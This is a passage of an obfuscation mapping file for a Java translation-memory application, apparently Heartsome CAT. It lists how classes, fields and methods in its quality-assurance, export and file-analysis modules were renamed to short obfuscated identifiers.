org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + boolean isContinue -> MR + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA + void compareTerms(org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> a + boolean containsTerm(java.lang.String,java.lang.String,boolean) -> c + boolean validContainsChar(char) -> i + boolean getContext(java.lang.String) -> dT + java.lang.String resetCleanString(java.lang.String) -> cc + void closeDB() -> closeDB + void access$0(net.heartsome.cat.ts.ui.qa.TermConsistenceQA,boolean) -> a +net.heartsome.cat.ts.ui.qa.TermConsistenceQA$1 -> net.heartsome.cat.ts.ui.qa.TermConsistenceQA$1: + net.heartsome.cat.ts.ui.qa.TermConsistenceQA this$0 -> MX + net.heartsome.cat.ts.ui.qa.model.QAModel val$model -> MV + void run() -> run +net.heartsome.cat.ts.ui.qa.TgtTextLengthLimitQA -> net.heartsome.cat.ts.ui.qa.TgtTextLengthLimitQA: + int level -> level + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + boolean hasError -> hasError + boolean isCheckTgtMinLength -> MY + boolean isCheckTgtMaxLength -> MZ + float minPercentage -> Na + float maxPercentage -> Nb + void setParentQaResult(net.heartsome.cat.ts.ui.qa.model.QAResult) -> setParentQaResult + java.lang.String startQA(net.heartsome.cat.ts.ui.qa.model.QAModel,org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.resources.IFile,net.heartsome.cat.ts.core.qa.QAXmlHandler,net.heartsome.cat.ts.core.qa.QATUDataBean) -> startQA +net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog -> net.heartsome.cat.ts.ui.qa.dialogs.k: + boolean isAdd -> Cd + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + net.heartsome.cat.ts.ui.qa.model.NontransElementBean curElementBean -> QB + java.lang.String REGULAR_ignore -> QC + java.lang.String REGULAR_allWrod -> QF + org.eclipse.swt.widgets.Text tipTxt -> QG + org.eclipse.swt.widgets.Text contentTxt -> QH + org.eclipse.swt.widgets.Text regularTxt -> QI + org.eclipse.swt.widgets.Button wordBtn -> QJ + org.eclipse.swt.widgets.Button ignoreCaseBtn -> Pp + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initListener() -> initListener + void initValue() -> initValue + void setIgnoreRegular() -> ij + void setAllWordRegular() -> ik + void okPressed() -> okPressed + boolean validElementIsRepeate(net.heartsome.cat.ts.ui.qa.model.NontransElementBean) -> a + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog) -> b + org.eclipse.swt.widgets.Button access$2(net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog) -> d + void access$4(net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog) -> e + void access$5(net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog) -> f +net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog$1 -> net.heartsome.cat.ts.ui.qa.dialogs.l: + net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog this$0 -> QK + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog$2 -> net.heartsome.cat.ts.ui.qa.dialogs.m: + net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog this$0 -> QK + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog$3 -> net.heartsome.cat.ts.ui.qa.dialogs.n: + net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog this$0 -> QK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog$4 -> net.heartsome.cat.ts.ui.qa.dialogs.o: + net.heartsome.cat.ts.ui.qa.dialogs.AddOrEditNontransElementDialog this$0 -> QK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog -> net.heartsome.cat.ts.ui.qa.dialogs.a: + org.eclipse.swt.widgets.Button installBtn -> Nc + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + boolean isMultiFile -> isMultiFile + net.heartsome.cat.ts.ui.qa.model.QAModel model -> Mf + org.eclipse.swt.graphics.Image logoImage -> zy + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + void createFileDataGroup(org.eclipse.swt.widgets.Composite) -> p + java.lang.String[][] getQATableInfo() -> iA + void initLister(org.eclipse.swt.widgets.Shell) -> a + void openPreference(org.eclipse.swt.widgets.Shell) -> b + boolean close() -> close +net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog$1 -> net.heartsome.cat.ts.ui.qa.dialogs.b: + net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog this$0 -> Nd + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog$1$1 -> net.heartsome.cat.ts.ui.qa.dialogs.c: + net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog$1 this$1 -> Ne + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog$2 -> net.heartsome.cat.ts.ui.qa.dialogs.d: + net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog this$0 -> Nd + org.eclipse.swt.widgets.Shell val$shell -> ct + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog$TableViewerLabelProvider -> net.heartsome.cat.ts.ui.qa.dialogs.e: + net.heartsome.cat.ts.ui.qa.dialogs.BatchQADialog this$0 -> Nd + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog -> net.heartsome.cat.ts.ui.qa.dialogs.f: + java.lang.String LOCK_EXTER_101 -> Nf + java.lang.String LOCK_EXTER_100 -> Ng + java.lang.String LOCK_INTER_REPEAT -> Nh + org.eclipse.swt.graphics.Image logoImage -> zy + org.eclipse.swt.widgets.Button installBtn -> Nc + org.eclipse.jface.viewers.TableViewer tableViewer -> tableViewer + net.heartsome.cat.ts.core.qa.FAModel model -> wH + java.lang.String title -> title + boolean isWordsFa -> Ni + boolean isTransP -> Nj + boolean isEditP -> Nk + org.eclipse.swt.widgets.Button exter101Btn -> Nl + org.eclipse.swt.widgets.Button exter100Btn -> Nm + org.eclipse.swt.widgets.Button interRepeatBtn -> Nn + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void openPreference() -> iB + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + void createFileDataGroup(org.eclipse.swt.widgets.Composite) -> p + void okPressed() -> okPressed + java.lang.String[][] getQATableInfo() -> iA + boolean close() -> close +net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog$1 -> net.heartsome.cat.ts.ui.qa.dialogs.g: + net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog this$0 -> No + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog$2 -> net.heartsome.cat.ts.ui.qa.dialogs.h: + net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog this$0 -> No + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog$2$1 -> net.heartsome.cat.ts.ui.qa.dialogs.i: + net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog$2 this$1 -> Np + org.eclipse.swt.widgets.TableColumn[] val$columns -> yu + org.eclipse.swt.widgets.Table val$table -> yv + void run() -> run +net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog$TableViewerLabelProvider -> net.heartsome.cat.ts.ui.qa.dialogs.j: + net.heartsome.cat.ts.ui.qa.dialogs.FileAnalysisDialog this$0 -> No + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.qa.export.ExportQAResult -> net.heartsome.cat.ts.ui.qa.export.a: + boolean isMultiFile -> isMultiFile + java.lang.String exportFilePath -> ns + java.util.List filePathList -> filePathList + org.slf4j.Logger LOGGER -> LOGGER + java.util.Set mergedIdSet -> apg + net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder placeHolderBuilder -> ajG + net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory innerTagFactory -> ajH + void beginExport(java.util.List,java.util.List,org.eclipse.core.runtime.IProgressMonitor) -> a + java.lang.String getDisplayText(java.lang.String) -> fM + java.lang.String getMultiResouce() -> on + byte[] getImageData(java.lang.String) -> cH + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.ui.qa.export.ExportQAResult$1 -> net.heartsome.cat.ts.ui.qa.export.b: + net.heartsome.cat.ts.ui.qa.export.ExportQAResult this$0 -> all + void run() -> run +net.heartsome.cat.ts.ui.qa.export.ExportQAResult$2 -> net.heartsome.cat.ts.ui.qa.export.c: + net.heartsome.cat.ts.ui.qa.export.ExportQAResult this$0 -> all + void run() -> run +net.heartsome.cat.ts.ui.qa.export.ExportQAResultDialog -> net.heartsome.cat.ts.ui.qa.export.e: + org.eclipse.swt.graphics.Image logoImage -> zy + java.lang.String exportFilePath -> ns + org.eclipse.swt.widgets.Text pathTxt -> alm + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + java.lang.String getExportFilePath() -> getExportFilePath + void okPressed() -> okPressed + boolean close() -> close + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.qa.export.ExportQAResultDialog) -> a + void access$1(net.heartsome.cat.ts.ui.qa.export.ExportQAResultDialog,java.lang.String) -> a +net.heartsome.cat.ts.ui.qa.export.ExportQAResultDialog$1 -> net.heartsome.cat.ts.ui.qa.export.f: + net.heartsome.cat.ts.ui.qa.export.ExportQAResultDialog this$0 -> aln + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.qa.fileAnalysis.EditProgressFA -> net.heartsome.cat.ts.ui.qa.fileAnalysis.EditProgressFA: + net.heartsome.cat.ts.core.qa.FAModel model -> wH + int workInterval -> mO + java.util.Map editProgFAResultMap -> NG + java.util.List allFolderList -> NH + org.slf4j.Logger logger -> logger + int beginAnalysis(net.heartsome.cat.ts.core.qa.FAModel,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> beginAnalysis + void printTransProgFAReslut() -> printTransProgFAReslut + java.lang.String createFAResultHtml() -> createFAResultHtml + void setDataToFolder(org.eclipse.core.resources.IProject) -> setDataToFolder + void wordsSetInputData(org.eclipse.core.resources.IContainer,java.lang.StringBuffer,int) -> wordsSetInputData + void paraSetInputData(org.eclipse.core.resources.IContainer,java.lang.StringBuffer,int) -> paraSetInputData +net.heartsome.cat.ts.ui.qa.fileAnalysis.EditProgressFA$1 -> net.heartsome.cat.ts.ui.qa.fileAnalysis.EditProgressFA$1: + net.heartsome.cat.ts.ui.qa.fileAnalysis.EditProgressFA this$0 -> NI + org.eclipse.ui.part.FileEditorInput val$input -> FD + void run() -> run +net.heartsome.cat.ts.ui.qa.fileAnalysis.TranslationProgressFA -> net.heartsome.cat.ts.ui.qa.fileAnalysis.TranslationProgressFA: + net.heartsome.cat.ts.core.qa.FAModel model -> wH + int workInterval -> mO + java.util.Map transProgFAResultMap -> NJ + java.util.List allFolderList -> NH + org.slf4j.Logger logger -> logger + int beginAnalysis(net.heartsome.cat.ts.core.qa.FAModel,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> beginAnalysis + void printTransProgFAReslut() -> printTransProgFAReslut + java.lang.String createFAResultHtml() -> createFAResultHtml + void setDataToFolder(org.eclipse.core.resources.IProject) -> setDataToFolder + void wordsSetInputData(org.eclipse.core.resources.IContainer,java.lang.StringBuffer,int) -> wordsSetInputData + void paraSetInputData(org.eclipse.core.resources.IContainer,java.lang.StringBuffer,int) -> paraSetInputData +net.heartsome.cat.ts.ui.qa.fileAnalysis.TranslationProgressFA$1 -> net.heartsome.cat.ts.ui.qa.fileAnalysis.TranslationProgressFA$1: + net.heartsome.cat.ts.ui.qa.fileAnalysis.TranslationProgressFA this$0 -> NK + org.eclipse.ui.part.FileEditorInput val$input -> FD + void run() -> run +net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA -> net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA: + net.heartsome.cat.ts.core.qa.FAModel model -> wH + net.heartsome.cat.ts.core.qa.QAXmlHandler handler -> MC + boolean ignoreTag -> vQ + boolean ignoreCase -> ignoreCase + int tagPenalty -> LH + boolean interRepeat -> QL + boolean interMatch -> QM + int workInterval -> mO + int getSrcTextWorkInterval -> NL + java.util.Map allSrcTextsMap -> NM + int newWordsMaxMatchRate -> NP + java.util.Map WordsFAResultMap -> NQ + java.util.List allFolderList -> NH + int contextSum -> NR + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + java.lang.String equivStr -> NS + net.heartsome.cat.ts.tm.match.TmMatcher tmMatcher -> zN + net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean tuInfoBean -> Ae + org.eclipse.core.resources.IProject curProject -> zO + java.util.List needLockRowIdList -> ajM + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable nattble -> NW + boolean isOpened -> NX + org.slf4j.Logger logger -> logger + int beginAnalysis(net.heartsome.cat.ts.core.qa.FAModel,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> beginAnalysis + void initNewWordsMaxMatchRateFromWeightPage() -> oi + java.util.Map getAllXlfSrcTexts(java.lang.String,java.lang.String) -> getAllXlfSrcTexts + java.util.Map matching(org.eclipse.core.runtime.IProgressMonitor) -> matching + int internalMatching(java.lang.String,java.lang.String,java.lang.String,int,java.lang.String,java.lang.String,int) -> internalMatching + void lockRepeatTU(java.util.Map) -> o + boolean checkIsideal(java.lang.String,java.lang.String,int) -> a + void printWordsFAReslut() -> printWordsFAReslut + java.lang.String createFAResultHtml() -> createFAResultHtml + void setDataToFolder(org.eclipse.core.resources.IProject) -> setDataToFolder + void allExterMatchSetInputData(org.eclipse.core.resources.IContainer,java.lang.StringBuffer,int,java.lang.String[]) -> allExterMatchSetInputData + void paraSetInputData(org.eclipse.core.resources.IContainer,java.lang.StringBuffer,int) -> paraSetInputData + void main(java.lang.String[]) -> main + net.heartsome.cat.ts.core.qa.FAModel access$0(net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA) -> a + void access$1(net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA,net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$2(net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA) -> b + java.util.List access$3(net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA) -> c + void access$4(net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA,boolean) -> a +net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA$1 -> net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA$1: + net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA this$0 -> NY + void run() -> run +net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA$2 -> net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA$2: + net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA this$0 -> NY + org.eclipse.core.resources.IFile val$iFile -> zW + java.util.Map val$rowIdMap -> NZ + java.lang.String val$filePath -> JB + void run() -> run +net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA$3 -> net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA$3: + net.heartsome.cat.ts.ui.qa.fileAnalysis.WordsFA this$0 -> NY + org.eclipse.ui.part.FileEditorInput val$input -> FD + void run() -> run +net.heartsome.cat.ts.ui.qa.handlers.BatchQAHandler -> net.heartsome.cat.ts.ui.qa.handlers.a: + net.heartsome.cat.ts.ui.qa.QualityAssurance quality -> Oa + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + net.heartsome.cat.ts.ui.qa.model.QAModel model -> Mf + boolean isMultiFile -> isMultiFile + org.slf4j.Logger logger -> logger + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + java.util.LinkedList getBatchQAItems() -> iF + java.util.Map getNotIncludePara() -> getNotIncludePara +net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler -> net.heartsome.cat.ts.ui.qa.handlers.b: + net.heartsome.cat.ts.core.qa.FAModel model -> wH + org.eclipse.swt.widgets.Shell shell -> shell + int continuResponse -> MD + java.lang.String faItemId -> Ob + java.lang.String title -> title + int allTUSize -> Oc + boolean isMultiFile -> isMultiFile + org.slf4j.Logger logger -> logger + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void analysisFile(java.lang.String) -> dU + boolean openXliff(net.heartsome.cat.ts.core.qa.QAXmlHandler,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.ts.core.qa.FileAnalysis getClassInstance(java.lang.String) -> dV + net.heartsome.cat.ts.core.qa.FAModel access$0(net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler) -> a + org.eclipse.swt.widgets.Shell access$1(net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler) -> b + int access$2(net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler) -> c + java.lang.String access$3(net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler) -> d + void access$4(net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler,int) -> a +net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler$1 -> net.heartsome.cat.ts.ui.qa.handlers.c: + net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler this$0 -> Od + net.heartsome.cat.ts.core.qa.QAXmlHandler val$handler -> Oe + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler$2 -> net.heartsome.cat.ts.ui.qa.handlers.d: + net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler this$0 -> Od + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler$3 -> net.heartsome.cat.ts.ui.qa.handlers.g: + net.heartsome.cat.ts.ui.qa.handlers.FileAnalysisHandler this$0 -> Od + org.eclipse.core.resources.IFile val$iFile -> zW + void run() -> run +net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler -> net.heartsome.cat.ts.ui.qa.handlers.e: + int workInterval -> mO + net.heartsome.cat.ts.core.qa.QAXmlHandler xmlHandler -> Mj + java.lang.String _INFO -> MF + java.lang.String _ERROR -> MG + org.eclipse.swt.widgets.Shell shell -> shell + java.lang.String Hyphen -> MH + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void beginQA(java.util.ArrayList,net.heartsome.cat.ts.ui.qa.model.QAModel,boolean,net.heartsome.cat.ts.ui.qa.model.QAResult) -> a + boolean openFile(java.util.ArrayList,org.eclipse.core.runtime.IProgressMonitor) -> a + java.util.Map getNotIncludePara() -> getNotIncludePara + int initWorkInterval(int) -> w + void main(java.lang.String[]) -> main + void access$0(net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler,net.heartsome.cat.ts.core.qa.QAXmlHandler) -> a + boolean access$1(net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler,java.util.ArrayList,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.ts.core.qa.QAXmlHandler access$2(net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler) -> a + int access$3(net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler,int) -> a + int access$4(net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler) -> b +net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler$1 -> net.heartsome.cat.ts.ui.qa.handlers.f: + net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler this$0 -> Of + java.lang.String val$titile -> Og + java.util.ArrayList val$selectIFiles -> Fz + net.heartsome.cat.ts.ui.qa.model.QAModel val$model -> MV + boolean val$isNumberQA -> Oh + net.heartsome.cat.ts.ui.qa.model.QAResult val$qaResult -> Oi + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler$2 -> net.heartsome.cat.ts.ui.qa.handlers.h: + net.heartsome.cat.ts.ui.qa.handlers.NumberOrTagConsisQAHandler this$0 -> Of + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.qa.model.EditProgressFAResult -> net.heartsome.cat.ts.ui.qa.model.a: + int notApprovedParas -> Oj + int approvedParas -> Ok + int notApprovedWords -> Ol + int approvedWords -> Om + int lockedParas -> On + int lockedWords -> Oo + int getNotApprovedParas() -> iG + int getApprovedParas() -> iH + int getLockedParas() -> iI + int getNotApprovedWords() -> iJ + int getApprovedWords() -> iK + int getLockedWords() -> iL + void setNotApprovedParas(int) -> x + void setApprovedParas(int) -> y + void setLockedParas(int) -> z + void setNotApprovedWords(int) -> A + void setApprovedWords(int) -> B + void setLockedWords(int) -> C + int getTotalWords() -> iM + java.lang.String getNotApprovedWordsRatio() -> iN + java.lang.String getApprovedWordsRatio() -> iO + int getTotalParas() -> iP + java.lang.String getNotApprovedParasRatio() -> iQ + java.lang.String getApprovedParasRatio() -> iR +net.heartsome.cat.ts.ui.qa.model.LockDataBean -> net.heartsome.cat.ts.ui.qa.model.b: + java.lang.String pureText -> Op + int wordCount -> Oq + java.lang.String getPureText() -> getPureText + void setPureText(java.lang.String) -> setPureText + int getWordCount() -> getWordCount + void setWordCount(int) -> setWordCount +net.heartsome.cat.ts.ui.qa.model.NontransElementBean -> net.heartsome.cat.ts.ui.qa.model.c: + java.lang.String id -> id + java.lang.String name -> name + java.lang.String content -> o + java.lang.String regular -> Nw + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getContent() -> getContent + void setContent(java.lang.String) -> setContent + java.lang.String getRegular() -> iT + void setRegular(java.lang.String) -> dX + boolean equals(java.lang.Object) -> equals + boolean equalsOfEdit(java.lang.Object) -> g + boolean equalsOfRepeatCheck(java.lang.Object) -> h +net.heartsome.cat.ts.ui.qa.model.QAModel -> net.heartsome.cat.ts.ui.qa.model.d: + java.util.List qaXlfList -> Os + boolean isBatchQA -> Ot + boolean isMuliFiles -> Ou + java.util.LinkedList batchQAItemIdList -> Ov + java.util.Map qaItemId_Name_Class -> Ow + org.eclipse.swt.widgets.Shell shell -> shell + java.util.Map notInclude -> Ox + boolean numberSameToSource -> Oy + boolean numberBoundarySign -> Oz + java.util.List rowIdsList -> OA + net.heartsome.cat.ts.ui.util.MultiFilesOper multiOper -> Mz + java.util.List getInterNonTransElements() -> iV + java.util.List getQaXlfList() -> iW + void setQaXlfList(java.util.List) -> w + boolean isBatchQA() -> iX + void setBatchQA(boolean) -> z + java.util.LinkedList getBatchQAItemIdList() -> iY + void setBatchQAItemIdList(java.util.LinkedList) -> b + java.util.Map getQaItemId_Name_Class() -> iZ + org.eclipse.swt.widgets.Shell getShell() -> getShell + void setShell(org.eclipse.swt.widgets.Shell) -> setShell + boolean isNumberSameToSource() -> ja + void setNumberSameToSource(boolean) -> A + boolean isNumberBoundarySign() -> jb + void setNumberBoundarySign(boolean) -> B + java.util.Map getNotInclude() -> jc + void setNotInclude(java.util.Map) -> p + boolean isMuliFiles() -> jd + void setMuliFiles(boolean) -> C + java.util.List getRowIdsList() -> je + void setRowIdsList(java.util.List) -> x + net.heartsome.cat.ts.ui.util.MultiFilesOper getMultiOper() -> getMultiOper + void setMultiOper(net.heartsome.cat.ts.ui.util.MultiFilesOper) -> setMultiOper +net.heartsome.cat.ts.ui.qa.model.QAResult -> net.heartsome.cat.ts.ui.qa.model.e: + boolean isRegist -> OB + java.util.List rowIdDataList -> ajN + net.heartsome.cat.ts.ui.util.MultiFilesOper multiOper -> Mz + boolean isAutoQA -> ajO + org.slf4j.Logger logger -> logger + net.heartsome.cat.ts.ui.qa.model.QAResult curElement -> ajP + java.util.List filePathList -> filePathList + boolean isSameOperObjForAuto -> ajQ + org.eclipse.ui.IViewPart qaResultViewer -> ajR + int dataUnit -> aph + java.beans.PropertyChangeSupport listeners -> OD + void firePropertyChange(net.heartsome.cat.ts.ui.qa.model.QAResultBean) -> a + void firePropertyChange(boolean,net.heartsome.cat.ts.ui.util.MultiFilesOper) -> a + void sendDataToViewer(java.lang.String) -> eR + void beginSendData() -> pp + void informQAEndFlag() -> informQAEndFlag + void bringQAResultViewerToTop() -> bringQAResultViewerToTop + boolean isRegist() -> jg + void setRegist(boolean) -> D + boolean isAutoQA() -> ny + void setAutoQA(boolean) -> O + net.heartsome.cat.ts.ui.util.MultiFilesOper getMultiOper() -> getMultiOper + void setMultiOper(net.heartsome.cat.ts.ui.util.MultiFilesOper) -> setMultiOper + java.util.List getFilePathList() -> nz + void setFilePathList(java.util.List) -> I + boolean isSameOperObjForAuto() -> nA + void setSameOperObjForAuto(boolean) -> P + void access$0(net.heartsome.cat.ts.ui.qa.model.QAResult,org.eclipse.ui.IViewPart) -> a + org.eclipse.ui.IViewPart access$1(net.heartsome.cat.ts.ui.qa.model.QAResult) -> a + boolean access$2(net.heartsome.cat.ts.ui.qa.model.QAResult) -> b + java.util.List access$3(net.heartsome.cat.ts.ui.qa.model.QAResult) -> c + net.heartsome.cat.ts.ui.qa.model.QAResult access$4(net.heartsome.cat.ts.ui.qa.model.QAResult) -> d + void access$5(net.heartsome.cat.ts.ui.qa.model.QAResult,boolean) -> a + net.heartsome.cat.ts.ui.util.MultiFilesOper access$6(net.heartsome.cat.ts.ui.qa.model.QAResult) -> e +net.heartsome.cat.ts.ui.qa.model.QAResult$1 -> net.heartsome.cat.ts.ui.qa.model.i: + net.heartsome.cat.ts.ui.qa.model.QAResult this$0 -> ajS + void run() -> run +net.heartsome.cat.ts.ui.qa.model.QAResult$2 -> net.heartsome.cat.ts.ui.qa.model.j: + net.heartsome.cat.ts.ui.qa.model.QAResult this$0 -> ajS + void run() -> run +net.heartsome.cat.ts.ui.qa.model.QAResult$3 -> net.heartsome.cat.ts.ui.qa.model.k: + net.heartsome.cat.ts.ui.qa.model.QAResult this$0 -> ajS + void run() -> run +net.heartsome.cat.ts.ui.qa.model.QAResult$4 -> net.heartsome.cat.ts.ui.qa.model.l: + net.heartsome.cat.ts.ui.qa.model.QAResult this$0 -> ajS + void run() -> run +net.heartsome.cat.ts.ui.qa.model.QAResultBean -> net.heartsome.cat.ts.ui.qa.model.f: + int level -> level + java.lang.String qaType -> OE + java.lang.String qaTypeText -> api + java.lang.String mergeId -> apj + java.lang.String fileName -> fileName + java.lang.String lineNumber -> lineNumber + java.lang.String 